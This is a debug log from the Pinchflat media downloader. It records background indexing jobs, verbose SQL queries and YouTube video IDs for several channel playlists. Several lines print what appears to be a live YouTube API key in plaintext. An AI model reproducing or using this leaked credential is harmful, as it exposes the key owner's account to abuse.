"DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 17:06:41.770 [debug] QUERY OK source="media_items" db=1.0ms idle=95.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 17:06:41.770 [debug] QUERY OK source="tasks" db=0.1ms idle=91.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800127, 25, ~U[2026-02-10 23:06:41Z], ~U[2026-02-10 23:06:41Z]] 17:06:41.771 [info] {"args":{"id":25},"id":3800087,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":233304,"event":"job:stop","queue_time":487694,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:42.540 [info] {"args":{"id":20},"id":3800089,"meta":{},"system_time":1770764802540017193,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:42.540 [debug] QUERY OK source="sources" db=0.6ms idle=769.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 17:06:42.541 [debug] QUERY OK source="settings" db=0.1ms idle=769.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:42.541 [debug] QUERY OK source="media_profiles" db=0.2ms idle=763.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:06:42.541 [debug] QUERY OK source="settings" db=0.3ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:42.542 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 17:06:42.542 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:06:42.542 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:06:42.675 [debug] QUERY OK source="media_items" db=0.5ms idle=133.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", "vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 17:06:42.676 [debug] QUERY OK source="media_items" db=0.3ms idle=134.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 17:06:42.676 [debug] QUERY OK source="tasks" db=0.1ms idle=134.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800128, 20, ~U[2026-02-10 23:06:42Z], ~U[2026-02-10 23:06:42Z]] 17:06:42.677 [info] {"args":{"id":20},"id":3800089,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":136923,"event":"job:stop","queue_time":523655,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:58.986 [info] {"source":"oban","duration":10045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.057 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:07:06.565 [info] {"args":{"id":42},"id":3800090,"meta":{},"system_time":1770764826565361348,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:06.565 [info] {"args":{"id":15},"id":3800091,"meta":{},"system_time":1770764826565422519,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:06.565 [debug] QUERY OK source="sources" db=0.2ms idle=687.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 17:07:06.565 [debug] QUERY OK source="sources" db=0.2ms idle=687.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 17:07:06.566 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:06.566 [debug] QUERY OK source="settings" db=0.1ms idle=687.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:06.566 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:06.566 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:06.566 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:06.566 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 17:07:06.566 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:06.566 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 17:07:06.566 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:06.566 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:06.566 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:06.566 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:06.653 [debug] QUERY OK source="media_items" db=0.6ms idle=86.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 17:07:06.654 [debug] QUERY OK source="media_items" db=0.4ms idle=87.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 17:07:06.655 [debug] QUERY OK source="tasks" db=0.1ms idle=88.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800129, 15, ~U[2026-02-10 23:07:06Z], ~U[2026-02-10 23:07:06Z]] 17:07:06.655 [info] {"args":{"id":15},"id":3800091,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":89993,"event":"job:stop","queue_time":445647,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:06.661 [info] {"args":{"id":13},"id":3800092,"meta":{},"system_time":1770764826661684579,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:06.661 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 17:07:06.662 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:06.662 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:06.662 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:06.662 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 17:07:06.662 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:06.662 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:06.715 [debug] QUERY OK source="media_items" db=0.3ms idle=53.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 17:07:06.715 [debug] QUERY OK source="media_items" db=0.2ms idle=53.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 17:07:06.716 [debug] QUERY OK source="tasks" db=0.1ms idle=53.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800130, 42, ~U[2026-02-10 23:07:06Z], ~U[2026-02-10 23:07:06Z]] 17:07:06.716 [info] {"args":{"id":42},"id":3800090,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":151369,"event":"job:stop","queue_time":567203,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:06.722 [info] {"args":{"id":22},"id":3800093,"meta":{},"system_time":1770764826722678594,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:06.722 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 17:07:06.723 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:06.723 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:06.723 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 